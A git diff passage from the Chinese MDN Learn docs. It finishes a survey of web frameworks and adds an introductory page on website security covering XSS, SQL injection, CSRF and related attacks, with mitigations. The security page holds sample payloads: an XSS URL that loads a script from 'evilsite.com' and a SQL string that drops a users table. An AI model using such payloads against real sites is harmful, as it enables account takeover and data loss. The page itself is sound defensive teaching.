+<p>Flask已经非常火爆了,部分因为那些需要在小型的、资源受限的系统中提供web服务的开发者们。(比如,在<a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone controllers</a>等上面运行服务器)。</p>
+
+<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> 针对 <a href="https://nodejs.org/en/">Node.js</a> 的快速的、unopinioned、灵活的、小型的web框架(node是用来运行Javascript的无浏览器的环境)。它为web和移动应用提供强大的系列功能,并且传输有用的HTTP工具、方法和<a href="/en-US/docs/Glossary/Middleware">middleware</a>.</p>
+
+<p>Express非常受欢迎,主要因为它减轻了客户端Javascript程序到服务器端开发的迁移,并且部分因为它是资源节约型(底层的node环境在单线程中使用轻量级多任务处理,而不是为每个web请求提供单独的进程)。</p>
+
+<p>因为Express是一个小型的web框架,它几乎不包含任何你可能想要使用的组件(比如,数据库接口和对用户和会话的支持通过独立的库来完成)。有很多独立的、非常好的组件,但是有时候你可能很难决定对于特定目的而言哪一个是最好的! </p>
+
+<p> 很多非常受欢迎的服务器端编程和全栈框架(同时包括服务器端和客户端框架),包括 <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://lean-stack.io/">LEAN-STACK</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, 和 <a href="http://sailsjs.org/">Sails</a>.</p>
+
+<p>大量的profile company使用Express,包括优步、Accenture、IBM等(<a href="http://expressjs.com/en/resources/companies-using-express.html">这里</a>是一张列表).</p>
+
+<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3>
+
+<p><a href="http://rubyonrails.org/">Rails</a> (通常被称作"Ruby on Rails")是一个为Ruby语言编写的web框架。</p>
+
+<p>Rails遵循了和Django非常相似的设计哲学。正如Django一样,它提供了检索URLs的标准机制、从数据库中访问数据、从模板中生成HTML页面、格式化数据{{glossary("JSON")}} 或者 {{glossary("XML")}}。同样的,它也鼓励如 DRY (不要重复你自己)的设计模板——尽可能地只写一次代码、MVC(模板-视图-控制中心)以及很多其他的一些。</p>
+
+<p>当然,还有很多由于因为具体设计决定和语言的特性导致的差异。</p>
+
+<p>Rails被用在很多站点中,包括:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>,<a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>,<a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Hi</a></p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><a href="http://www.asp.net/">ASP.NET</a> 是一个由微软开发的开源Web框架,用于构建现代的Web应用程序和服务。通过ASP.NET你能快速创建基于HTML、CSS、JavaScript的网站,并且能满足大量用户的需求,还可以很容易地添加诸如Web API、数据表单、即时通讯的功能。</p>
+
+<p>ASP.NET的特点之一就是它建立在 <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR公共语言运行时)之上。这使得程序员可以使用任何支持的.NET语言(如C#、Visual Basic)来编写ASP.NET代码。和很多微软的产品一样,它得益于出色的开发工具(通常是免费的)、活跃的开发者社区,以及详尽的文档。 </p>
+
+<p>ASP.NET被微软、Xbox、Stack Overflow等采用。</p>
+
+<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3>
+
+<p><a href="http://mojolicious.org/">Mojolicious</a>是为Perl语言设计的新一代Web框架。 </p>
+
+<p>在Web的早期阶段,许多人都为了一个叫做 <a href="https://metacpan.org/module/CGI">CGI</a> 的优秀的Perl库而学过Perl。它简单到即使你不是太懂这门语言也可以开始使用,而且也强大到足以让你可以用下去。Mojolicious通过最新的技术实现了这个想法。</p>
+
+<p>Mojolicious提供的一些功能是:</p>
+
+<ul>
+ <li><strong>实时Web框架</strong>,可轻松将单个文件原型,生成为结构良好的MVC Web应用程序;</li>
+ <li>RESTful路由,插件,命令,Perl-ish模板,内容协商,会话管理,表单验证,测试框架,静态文件服务器,CGI /<a href="http://plackperl.org/">PSGI</a> 检测,一流的Unicode支持;</li>
+ <li>全栈式 HTTP 和 WebSocket 客户机/服务器架構,由以下技术支持与实作-IPv6,TLS,SNI,IDNA,HTTP / SOCKS5 代理,UNIX 域套接字,Comet(长轮询),保持活动,连接池,超时,cookie,multipart,支持 gzip 压缩</li>
+ <li>具有CSS选择器支持的 JSON 和 HTML / XML 解析器和生成器;</li>
+ <li>非常干净,可移植且面向对象的纯 Perl API,没有任何隐藏的魔法;</li>
+ <li>全新的代码基于多年的经验,免费和开源。</li>
+</ul>
+
+<h2 id="总结">总结</h2>
+
+<p>这篇文章展示了web框架如何使得编写和维护服务器端代码变得简单。它也提供了对于几个流行的框架的评价,还讨论了选择一个web框架的标准。你现在至少应该了解了如何为你的服务器端开发选择一个web框架。如果还没有,也不要担心——接下来我们给你一个详细的Django和Express教程,从而让你有一些使用web框架的实战经验。</p>
+
+<p>这个模块的下一章节我们会稍微转变一下思路,我们会讨论一下网络安全。</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
diff --git a/files/zh-cn/learn/server-side/first_steps/website_security/index.html b/files/zh-cn/learn/server-side/first_steps/website_security/index.html
new file mode 100644
index 0000000000..3b6e400257
--- /dev/null
+++ b/files/zh-cn/learn/server-side/first_steps/website_security/index.html
@@ -0,0 +1,165 @@
+---
+title: 站点安全
+slug: learn/Server-side/First_steps/Website_security
+tags:
+ - 安全
+ - 站点安全
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">站点安全需要在网站设计和使用的各个方面保持警惕。这篇入门文章不会让你成为一个网站安全专家,但是可以帮助你理解威胁的来源以及如何保护你的Web应用来远离这些常见的攻击。</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">准备内容:</th>
+ <td>计算机基础知识.</td>
+ </tr>
+ <tr>
+ <th scope="row">目标:</th>
+ <td>
+ <p>了解针对Web应用常见的攻击方式和用来减少网站被黑客攻击的风险的方法。</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="什么是站点安全">什么是站点安全?</h2>
+
+<p>互联网很危险!我们经常听到网站因为拒绝服务攻击或主页显示被修改的(通常是有害的)内容而无法使用。在一些出名的案例中,上百万的密码、邮件地址和信用卡信息被泄露给了公众,导致网站用户面临个人尴尬和财务威胁。</p>
+
+<p>站点安全的目的就是为了防范这些(或者说所有)形式的攻击。更正式点说,站点安全就是为保护站点不受未授权的访问、使用、修改和破坏而采取的行为或实践。</p>
+
+<p>有效的站点安全需要在对整个站点进行设计:包括Web应用编写、Web服务器的配置、密码创建和更新的策略以及客户端代码编写等过程。尽管这听起来很凶险,好消息是如果你使用的是服务器端的Web服务框架,那么多数情况下它默认已经启用了健壮而深思熟虑的措施来防范一些较常见的攻击。其它的攻击手段可以通过站点的Web服务器配置来减轻威胁,例如启用HTTPS. 最后,可以用一些公开可用的漏洞扫描工具来协助发现你是否犯了一些明显的错误。</p>
+
+<p>文章的剩余部分列举了一些常见威胁的细节以及用来保护站点的一些简单措施。</p>
+
+<div class="note">
+<p><strong>Note</strong>: 这只是一篇介绍性的主题,旨在帮你开始思考站点安全。它并不详尽。</p>
+</div>
+
+<h2 id="站点安全威胁">站点安全威胁</h2>
+
+<p>这个部分列举了常见网站攻击手段以及如何减轻它们带来的危害。当你读的时候请注意,这些攻击是如何得手的,当web应用相信这些来自浏览器的信息或者不够坚持自己的时候。</p>
+
+<h3 id="跨站脚本_XSS">跨站脚本 (XSS)</h3>
+
+<p>XSS是一个术语,用来描述一类允许攻击者通过网站将客户端脚本代码注入到其他用户的浏览器中的攻击手段。由于注入到浏览器的代码来自站点,其是可信赖的,因此可以做类似将该用户用于站点认证的cookie发送给攻击者的事情。一旦攻击者拿到了这个cookie,他们就可以登陆到站点,就好像他们就是那个用户,可以做任何那个用户能做的事情。根据站点的不同,这些可能包括访问他们的信用卡信息、查看联系人、更改密码等。</p>
+
+<div class="note">
+<p><strong>Note</strong>: XSS 攻击在历史上较其他类型更为常见。</p>
+</div>
+
+<p>有两种主要的方法可以让站点将注入的脚本返回到浏览器 -- 通常被称做 反射型 和 持久型 XSS攻击。</p>
+
+<ul>
+ <li>反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候 -- 当新页面载入的时候原始用户数据中的任何脚本都会被执行!<br>
+ <br>
+ 举个例子,假如有个站点搜索函数,搜索项被当作URL参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如 <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt; </code>),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息 -- 可能会购买物品或分享联系人信息。<br>
+  </li>
+ <li>持久型 XSS 攻击: 恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。<br>
+ <br>
+ 举个例子,接收包含未经修改的HTML格式评论的论坛可能会存储来自攻击者的恶意脚本。这个脚本会在评论显示的时候执行,然后向攻击者发送访问该用户账户所需的信息。这种攻击类型及其常见而且有效,因为攻击者不需要与受害者有任何直接的接触。<br>
+ <br>
+ 尽管 <code>POST</code> 和 <code>GET</code> 方式获取到的数据是XSS攻击最常见的攻击来源,任何来自浏览器的数据都可能包含漏洞(包括浏览器渲染过的Cookie数据以及用户上传和显示的文件等).</li>
+</ul>
+
+<p> 防范 XSS 攻击的最好方式就是删除或禁用任何可能包含可运行代码指令的标记。对 HTML 来说,这些包括类似 <code>&lt;script&gt;</code>, <code>&lt;object&gt;</code>, <code>&lt;embed&gt;</code>,和 <code>&lt;link&gt; </code>的标签。</p>
+
+<div>
+<p>修改用户数据使其无法用于运行脚本或其它影响服务器代码执行的过程被称作输入过滤。许多Web框架默认情况下都会对来自HTML表单的用户数据进行过滤。</p>
+</div>
+
+<h3 id="SQL_注入">SQL 注入</h3>
+
+<p>SQL 注入漏洞使得恶意用户能够通过在数据库上执行任意SQL代码,从而允许访问、修改或删除数据,而不管该用户的权限如何。成功的注入攻击可能会伪造身份信息、创建拥有管理员权限的身份、访问服务器上的任意数据甚至破坏/修改数据使其变得无法使用。</p>
+
+<p>如果传递给底层SQL语句的用户输入可以修改该语句的语义,这种漏洞便是存在的。例如下面一段代码,本来是用来根据HTML表单提供的特定名字(<code>userName</code>)来列出所有的用户:</p>
+
+<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
+
+<p>如果用户输入了真实的名字,这段代码会如预想的运行。然而一个恶意用户可以完全将这个SQL语句的行为改变为下面的新语句的行为,只要通过将 <code>userName</code>指定为下列 “<strong>粗体</strong>” 的文本。修改后的代码创建了一个合法的SQL语句,该语句删除了整个<code> users</code> 表,然后从 <code>userinfo</code> 表中获取了所有数据(所有用户的信息都被暴露了)。这是有效的,因为注入的文本的第一部分(<code>a';</code>)结束了原来的语句( ' 在SQL语句中是用来描述字符串常量的) 。</p>
+
+<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'</strong>;
+</pre>
+
+<p>避免此种攻击的方法就是确保任何传递给SQL查询语句的用户数据都无法更改查询的本来用意。有种方式便是将用户输入中任何在SQL语句中有特殊含义的字符进行转义。</p>
+
+<div class="note">
+<p><strong>Note</strong>: SQL语句把 ' 号作为一个字符串常量的开头的结尾。通过在前面放置一个斜杠,我们把单引号进行了转义( \' ),然后 SQL 就会将其视为一个字符(作为字符串的一部分)。</p>
+</div>
+
+<p>在下面的语句中我们对 ' 字符进行了转义。SQL会将<strong>粗体</strong>显示的整段字符串解释为 name(这个name很古怪,但至少是没有危害的!)</p>
+
+<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>;
+
+</pre>
+
+<p>Web框架通常会为你进行这种转义操作。例如 Django,可以确保任何传递给查询集合 (model查询)的用户数据都是已经转义过的。</p>
+
+<div class="note">
+<p><strong>Note</strong>: 本章节引用了大量来自 <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia </a>的内容.</p>
+</div>
+
+<h3 id="跨站请求伪造_CSRF">跨站请求伪造 (CSRF)</h3>
+
+<p>CSRF 攻击允许恶意用户在另一个用户不知情的情况下利用其身份信息执行操作。</p>
+
+<p>这种形式的攻击用实例来解释最好。John是一个恶意用户,他知道某个网站允许已登陆用户使用包含了账户名和数额的HTTP <code>POST</code>请求来转帐给指定的账户。John 构造了包含他的银行卡信息和某个数额做为隐藏表单项的表单,然后通过Email发送给了其它的站点用户(还有一个伪装成到 “快速致富”网站的链接的提交按钮).</p>
+
+<p>如果某个用户点击了提交按钮,一个 HTTP <code>POST</code> 请求就会发送给服务器,该请求中包含了交易信息以及浏览器中与该站点关联的所有客户端cookie(将相关联的站点cookie信息附加发送是正常的浏览器行为) 。服务器会检查这些cookie,以判断对应的用户是否已登陆且有权限进行上述交易。</p>
+
+<p>最终的结果就是任何已登陆到站点的用户在点击了提交按钮后都会进行这个交易。John发财啦!</p>
+
+<div class="note">
+<p><strong>Note</strong>: 这里的诀窍是,John 不需要访问那些用户的cookie(或者说身份信息) -- 用户的浏览器存储了这些信息,而且会自动将其包含在发送给对应服务器的请求中。</p>
+</div>
+
+<p>杜绝此类攻击的一种方式是在服务器端要求每个 POST 请求都包含一个用户特定的由站点生成的密钥( 这个密钥值可以由服务器在发送用来传输数据的网页表单时提供)。这种方式可以使John无法创建自己的表单,因为他必须知道服务器提供给那个用户的密钥值。即使他找出了那个密钥值,并为那个用户创建了表单,他也无法用同样的表单来攻击其他的所有用户。</p>
+
+<p>Web 框架通常都会包含一些类似的CSRF 防范技巧。</p>
+
+<h3 id="其他威胁">其他威胁</h3>
+
+<p>其它常见的攻击/漏洞利用方式包括:</p>
+
+<ul>
+ <li><a href="https://www.owasp.org/index.php/Clickjacking">劫持 </a>. 通过这种方式,恶意用户劫持了对可见上层站点的点击,然后将其转发给下层隐藏的页面。这种技术例如可以用来显示一个合法的银行网站,但是将登陆认证信息截获到由攻击者控制的隐藏的{{htmlelement("iframe")}}中。另外也可以用于促使用户点击可见网页的按钮,实际上却在不知情的情况点击了一个完全不同的按钮。作为防范手段,你的站点可以通过设置适当的HTTP 头来防止其被嵌入到另一个站点的iframe中。</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">拒绝服务</a> (DoS). Dos 通常通过使用伪造的请求淹没站点,这样合法用户的访问就会被中断。这些请求可能仅仅是数量巨大或者是单独消耗了大量资源 (如 延缓读, 上传大文件等) 。DoS 防护通常通过识别并堵塞 “恶意”的网络数据来工作,同时允许合法信息通过。 这些防护一般都是在Web服务器之前或服务器中进行(它们并非web应用本身所为).</li>
+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">目录遍历</a>(File and disclosure). 在这种攻击中,攻击者会尝试访问Web服务器文件系统中他们本不该访问的部分。这种漏洞会在用户可以传递包含文件系统导航字符的文件名时出现(比如 ../../ )。解决方法就是在使用前对用户输入进行过滤。</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">文件包含</a>. 在此攻击方式中,用户在传递给服务器的数据中指定一个“非故意”的文件来显示或执行。一旦载入成功,这个文件就可以在服务器或客户端(造成 XSS 攻击)执行。解决方式就是在使用前对输入进行过滤。</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">命令行注入</a>. 命令行注入攻击允许恶意用户在主机操作系统中执行任意系统命令。解决方法就是在系统调用中使用前对用户输入进行过滤。</li>
+</ul>
+
+<p>还有很多的方式。要查看更全面的列表,请访问 <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) 和 <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="一些关键信息">一些关键信息</h2>
+
+<p>当Web应用信任来自浏览器的数据时,上述章节里提到的大多数攻击利用手段才能成功。无论你做什么其它的事情来提升你的网站的安全性能,在将信息展示在浏览器之前、在使用SQL语句进行查询之前、在传递给一个操作系统或者文件系统之前,你应该过滤掉所有的用户源信息。</p>
+
+<div class="warning">
+<p>重要:在你可以了解到的有关网站安全大多数 课程之中,最重要的就是<strong>不要相信来自浏览器的数据</strong>。包括在URL参数中的GET请求、POST请求、HTTP头、cookies、用户上传的文件等等。一定要每次都检查用户输入的信息。每次都预想最坏的结果。</p>
+</div>
+
+<p>你可以采取一些简单的步骤:</p>
+
+<ul>
+ <li>采取更加强大的密码管理措施。当密码频繁更换时鼓励更加健壮的密码。采取双因素认证,也就是说除了密码,用户还应该输入另一种认证码(通常是只有唯一一个用户拥有的通过一些物理硬件传输的,比如发送给用户手机的验证短信)。</li>
+ <li>将你的服务器配制成 <a href="/en-US/docs/Glossary/https">HTTPS</a> 和 <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS)。HTTPS 会加密你的用户和服务器之间传输的信息。这使得登录认证、cookise、POST数据及头信息不易被攻击者获得。</li>
+ <li>持续追踪那些常见的网络攻击 (the <a href="/en-US/docs/">current OWASP list is here</a>),先解决最脆弱的部分。</li>
+ <li>使用 <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">vulnerability scanning tools</a> 来对你的网站进行一些安全测试(然后,你的非常受欢迎的网站还可以靠提供赏金来寻找bug,就像Mozilla这样(<a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">like Mozilla does here</a>)。</li>
+ <li>只存储和展示你不得不需要的东西。比如,如果你的用户不得不存储一些敏感信息(如信用卡详明),只展示足以让用户识别卡号的几位数字即可,却不足以让黑客复制之后在另一个站点使用。现今最常见的是只展示信用卡卡号后4位数字。</li>
+</ul>
+
+<p>web框架可以帮助抵御很多常见的攻击。</p>
+
+<h2 id="总结">总结</h2>
+
+<p>这篇文章介绍了有关网络安全的概念和你应该避免的一些常见的攻击。最重要的是,你应该明白一个web应用不可以相信任何来自网络服务器的数据!所有的用户数据在展示、使用SQL查询或者回应系统之前应该被过滤。</p>
+
+<p>这也是<a href="/en-US/docs/Learn/Server-side/First_steps">这个模块</a>的结尾,涵盖了你之前在服务器端编程学到的知识。我们希望你非常享受这个学习基础概念的过程,并且你现在已经准备好选择一个web框架开始编程了。</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>